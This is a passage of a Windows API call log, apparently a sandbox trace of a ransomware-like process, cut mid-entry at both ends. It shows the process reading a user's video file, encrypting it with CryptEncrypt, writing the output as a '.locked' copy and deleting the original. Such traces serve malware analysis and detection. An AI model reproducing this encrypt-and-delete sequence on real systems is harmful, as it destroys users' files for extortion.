[7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.716] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0138.716] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.716] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.716] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.717] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi.locked", lpFilePart=0x0) returned 0x4e [0138.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0138.717] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\hvvhqo0adhwsn3bp13g.avi.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0138.718] GetFileType (hFile=0x778) returned 0x1 [0138.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0138.718] GetFileType (hFile=0x778) returned 0x1 [0138.718] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.718] CryptGenRandom (in: hProv=0x43964e8, dwLen=0x10, pbBuffer=0x6a578fc | out: pbBuffer=0x6a578fc) returned 1 [0138.718] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0138.718] CryptDuplicateKey (in: hKey=0x8e84f78, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e85138) returned 1 [0138.718] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0138.718] CryptSetKeyParam (hKey=0x8e85138, dwParam=0x4, pbData=0x6a58bb8*=0x1, dwFlags=0x0) returned 1 [0138.718] CryptSetKeyParam (hKey=0x8e85138, dwParam=0x1, pbData=0x6a58b84, dwFlags=0x0) returned 1 [0138.718] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xfc10\x437\x24a") returned 0x0 [0138.718] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.718] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.719] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.719] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.719] ReadFile (in: hFile=0x764, lpBuffer=0x6a5c114, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a5c114*, lpNumberOfBytesRead=0x99ae7a8*=0xaeff, lpOverlapped=0x0) returned 1 [0138.720] CryptEncrypt (in: hKey=0x8e85138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a70120*, pdwDataLen=0x99ae79c*=0xaef0, dwBufLen=0xaef0 | out: pbData=0x6a70120*, pdwDataLen=0x99ae79c*=0xaef0) returned 1 [0138.720] WriteFile (in: hFile=0x778, lpBuffer=0x6a579bc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a579bc*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0138.723] WriteFile (in: hFile=0x778, lpBuffer=0x6a7110c*, nNumberOfBytesToWrite=0x9f04, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a7110c*, lpNumberOfBytesWritten=0x99ae780*=0x9f04, lpOverlapped=0x0) returned 1 [0138.724] ReadFile (in: hFile=0x764, lpBuffer=0x6a5c114, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a5c114*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0138.724] CryptEncrypt (in: hKey=0x8e85138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a7b034*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6a7b034*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0138.724] CryptEncrypt (in: hKey=0x8e85138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a7b068*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6a7b068*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0138.724] WriteFile (in: hFile=0x778, lpBuffer=0x6a579bc*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6a579bc*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0138.724] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", lpFilePart=0x0) returned 0x47 [0138.725] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.725] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.725] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.725] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.725] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\hvvhqo0adhwsn3bp13g.avi")) returned 0x20 [0138.725] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", lpFilePart=0x0) returned 0x47 [0138.725] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0138.726] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0138.726] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0138.726] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0138.726] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0138.726] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0138.726] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0138.726] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0138.726] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0138.726] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0138.726] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0138.726] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0138.726] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0138.727] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0138.727] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpFilePart=0x0) returned 0x1c [0138.727] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpFilePart=0x0) returned 0x1c [0138.727] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv")) returned 0x10 [0138.727] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv")) returned 0x10 [0138.727] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv", lpFilePart=0x0) returned 0x2f [0138.727] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv", lpFilePart=0x0) returned 0x2f [0138.727] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\hvvhqo0adhwsn3bp13g.avi")) returned 0x20 [0138.727] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", lpFilePart=0x0) returned 0x47 [0138.727] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", lpFilePart=0x0) returned 0x47 [0138.728] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", lpFilePart=0x0) returned 0x47 [0138.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0138.728] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", lpFilePart=0x0) returned 0x47 [0138.728] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi\\", lpFilePart=0x0) returned 0x48 [0138.728] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0138.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0138.728] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0138.728] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0138.728] CoTaskMemFree (pv=0x8eb8d30) [0138.729] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\hvvhqo0adhwsn3bp13g.avi")) returned 0x20 [0138.730] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", lpFilePart=0x0) returned 0x47 [0138.730] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", lpFilePart=0x0) returned 0x47 [0138.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0138.730] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\hvvhqo0adhwsn3bp13g.avi"), fInfoLevelId=0x0, lpFileInformation=0x6a91400 | out: lpFileInformation=0x6a91400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee2ee420, ftCreationTime.dwHighDateTime=0x1d4ac3d, ftLastAccessTime.dwLowDateTime=0xb99fad0, ftLastAccessTime.dwHighDateTime=0x1d4a61d, ftLastWriteTime.dwLowDateTime=0xb99fad0, ftLastWriteTime.dwHighDateTime=0x1d4a61d, nFileSizeHigh=0x0, nFileSizeLow=0xaeff)) returned 1 [0138.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0138.730] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\hvvhqo0adhwsn3bp13g.avi")) returned 1 [0138.732] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.732] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.732] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.732] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.732] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.733] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\hvvhqo0adhwsn3bp13g.avi.locked")) returned 0x20 [0138.733] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\hvvhqo0adhwsn3bp13g.avi.locked")) returned 0x20 [0138.734] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi.locked", lpFilePart=0x0) returned 0x4e [0138.734] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi.locked", lpFilePart=0x0) returned 0x4e [0138.734] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.734] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi", lpFilePart=0x0) returned 0x47 [0138.734] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\xd81\x73eb\x82b3\x73e1\x9c") returned 0x0 [0138.734] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.734] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.734] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.736] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, 